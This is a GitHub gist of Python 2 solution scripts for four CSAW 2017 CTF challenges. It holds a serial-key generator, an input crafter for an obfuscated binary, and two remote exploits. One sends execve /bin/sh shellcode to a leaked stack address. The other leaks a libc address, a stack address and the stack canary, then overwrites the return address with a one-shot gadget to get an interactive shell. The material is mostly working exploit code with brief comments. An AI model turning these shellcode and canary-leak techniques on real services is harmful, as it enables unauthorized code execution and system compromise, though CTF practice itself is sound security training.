Created
September 17, 2017 20:03
-
-
Save bkth/00b63eb43bfb6ab65d2d1886af683afc to your computer and use it in GitHub Desktop.
CSAW_2017_CTF (prophecy, grumpcheck, pilot, scv)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# the check function is originally written in python and was fed through grumpy which is python to Go transpiler written by Google (open sourced on github) | |
# the main check function is 2k+~ lines but grumpy code has the somewhat general following pattern: | |
# grumpy_Op() | |
# if error: | |
# multi line of crap and bailout | |
# good path | |
# so we can go faster through it | |
# it checks for our input first to contain 5 part when split('-') is called | |
# then each part is checked to be 5 characters | |
# then it does some basic checking on the parts which are outlined below | |
# this script generates a serial that passes the check | |
base = 0xf0 | |
def gen_serial_part(target_number): | |
base = 0xf0 | |
diff = target_number - base | |
x = diff / 74 # ord('z') - ord ('0') | |
y = diff % 74 | |
part = "" | |
for i in xrange(x): | |
part += "z" | |
if y: | |
part += chr(y + 0x30) | |
part=part.rjust(5, "0") | |
print "[*] generated part %s" % part | |
return part | |
def sum_char(s): | |
ret = 0 | |
for c in s: | |
ret += ord(c) - 0x30 | |
return ret | |
a = "00000" | |
b = "00000" | |
c = "00000" | |
d = "00000" | |
e = "00000" | |
l = [a,b,c,d,e] | |
def check_cond1(i, part): | |
return (0xf0 + sum_char(part)) % (i+1) == 0 | |
for i in range(1, 6): | |
if (0xf0 + sum_char(l[i-1])) % i != 0: | |
print "not ok index % i" % (i-1) | |
for i in range(5): | |
x = (0xf0 + sum_char(l[i])) | |
y = (i * 0x64) | |
if x <= y : | |
print "not ok index % i" % (i) | |
print "x: %d, y: %d" % (x,y) | |
tmp = "" | |
k = 1 | |
while True: | |
tmp = gen_serial_part(y + k) | |
if check_cond1(i, tmp): | |
break | |
k += 1 | |
l[i] = tmp | |
serial = "-".join(l) | |
print serial |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
import telnetlib | |
import sys | |
import binascii | |
import struct | |
import socket | |
#executable stack with leak given by the binary nothing interesting | |
def info(s): | |
print "[*] %s" % s | |
HOST = "127.0.0.1" if len(sys.argv) < 2 else sys.argv[1] | |
PORT = 4444 if len(sys.argv) < 2 else int(sys.argv[2]) | |
TARGET = (HOST, PORT) | |
info("Starting pwn on %s:%d" % (HOST,PORT)) | |
sock=socket.create_connection(TARGET) | |
def ru(delim): | |
buf = "" | |
while not delim in buf: | |
buf += sock.recv(1) | |
return buf | |
def interact(): | |
info("Switching to interactive mode") | |
t=telnetlib.Telnet() | |
t.sock = sock | |
t.interact() | |
p32 = lambda v: struct.pack("<I", v) | |
p64 = lambda v: struct.pack("<Q", v) | |
u32 = lambda v: struct.unpack("<I", v)[0] | |
u64 = lambda v: struct.unpack("<Q", v)[0] | |
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" | |
print ru("Location:") | |
leak = ru("\n") | |
print leak | |
leak = int(leak, 16) | |
print "stack addr 0x%x" % leak | |
sock.recv(1024) | |
sock.sendall("\x48\x83\xec\x30" + sc +"a"*1 + p64(leak)*5) | |
interact() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
import telnetlib | |
import sys | |
import binascii | |
import struct | |
import socket | |
# the main obfuscation has a CFG which makes it hard to reverse | |
# the function does some checks on our input in a linear fashion so | |
# I dumped all cmp instructions of the function and wrote a python | |
# script that would generate a breakpoint in gdb for each of them | |
# with open("code", "rb") as f: | |
# b = f.read().split("\n") | |
# b = [i.replace("\t", "") for i in b if "cmp" in i] | |
# with open("bps", "wb") as out: | |
# for i in b: | |
# tmp = i.split(":")[0].lstrip() | |
# out.write("b *0x%s\n" % tmp) | |
# this gives 165 breakpoints then go through them to extract conditions if one of the cmp operands is part of our input | |
# additionally there is a catch with the byte sequence \xe4\x00 but bytes 4-11th are unconstrained so just put it once there | |
# first 4 bytes have to be \x08\x25\x20\x17 | |
# 13th is compared against K or O or J | |
# 14th byte is compared to 0x2 or 0x3 | |
# 15-18th byte have to be 0xe4ea93 | |
# then ZERATUL\0SAVED\0ALL | |
# then SAVED | |
def info(s): | |
print "[*] %s" % s | |
HOST = "127.0.0.1" if len(sys.argv) < 2 else sys.argv[1] | |
PORT = 4444 if len(sys.argv) < 2 else int(sys.argv[2]) | |
TARGET = (HOST, PORT) | |
sock=socket.create_connection(TARGET) | |
def ru(delim): | |
buf = "" | |
while not delim in buf: | |
buf += sock.recv(1) | |
return buf | |
def interact(): | |
info("Switching to interactive mode") | |
t=telnetlib.Telnet() | |
t.sock = sock | |
t.interact() | |
p32 = lambda v: struct.pack("<I", v) | |
p64 = lambda v: struct.pack("<Q", v) | |
u32 = lambda v: struct.unpack("<I", v)[0] | |
u64 = lambda v: struct.unpack("<Q", v)[0] | |
raw_input("attach") | |
print sock.recv(256) | |
sock.sendall(".starcraft\n") | |
time.sleep(0.1) | |
print sock.recv(256) | |
msg = "\x08\x25\x20\x17" + "\xe4"*8 + "K" + "\x02\x93\xea\xe4\n\x00ZERATUL\x00SAVED\x00ALL" | |
msg = "\x08\x25\x20\x17" + "\xe4\x00AAAAAA" + "K" + "\x02\x93\xea\xe4\x00ZERATUL\x00SAVED\x00ALL" | |
print binascii.hexlify(msg) | |
sock.sendall(msg) | |
interact() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
import telnetlib | |
import sys | |
import binascii | |
import struct | |
import socket | |
# buffer overflow on the stack which is not null terminated, use unitialized memory to leak libc, then leak canary, then overwrite rip with one shot gadget | |
def info(s): | |
print "[*] %s" % s | |
HOST = "127.0.0.1" if len(sys.argv) < 2 else sys.argv[1] | |
PORT = 4444 if len(sys.argv) < 2 else int(sys.argv[2]) | |
TARGET = (HOST, PORT) | |
info("Starting pwn on %s:%d" % (HOST,PORT)) | |
sock=socket.create_connection(TARGET) | |
def ru(delim): | |
buf = "" | |
while not delim in buf: | |
buf += sock.recv(1) | |
return buf | |
def interact(): | |
info("Switching to interactive mode") | |
t=telnetlib.Telnet() | |
t.sock = sock | |
t.interact() | |
p32 = lambda v: struct.pack("<I", v) | |
p64 = lambda v: struct.pack("<Q", v) | |
u32 = lambda v: struct.unpack("<I", v)[0] | |
u64 = lambda v: struct.unpack("<Q", v)[0] | |
def recv_menu(): | |
return ru(">>") | |
def review_food(): | |
sock.sendall("2\n") | |
def send_stuff(d): | |
sock.sendall("1\n") | |
ru(">>") | |
sock.sendall(d) | |
recv_menu() | |
send_stuff("A"*40) | |
review_food() | |
ru("A"*40) | |
libc = sock.recv(6) | |
libc = u64(libc.ljust(8, "\0")) - 0x3a299 | |
print "libc addr 0x%x" % libc | |
system = libc + 0x45390 | |
recv_menu() | |
send_stuff("B"*56) | |
review_food() | |
ru("B"*56) | |
stack = sock.recv(6) | |
stack = u64(stack.ljust(8, "\0")) - 0x60 | |
print "buf stack addr 0x%x" % stack | |
recv_menu() | |
send_stuff("C" * 0xa8 + "D") | |
review_food() | |
ru("CCCD") | |
canary = sock.recv(7) | |
canary = u64(canary.ljust(8, "\0")) | |
print "canary = 0x%x" % (canary << 8) | |
recv_menu() | |
rip = 0x414141414141 | |
rip = libc + 0xf1117 # one shot gadget | |
cmd = "/bin/sh\0" # not needed, one shot gadget worked | |
payload = cmd + "E" * (0xa8 - len(cmd)) | |
payload += p64(canary <<8) | |
payload += p64(rip) | |
payload += p64(rip) | |
send_stuff(payload) | |
interact() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment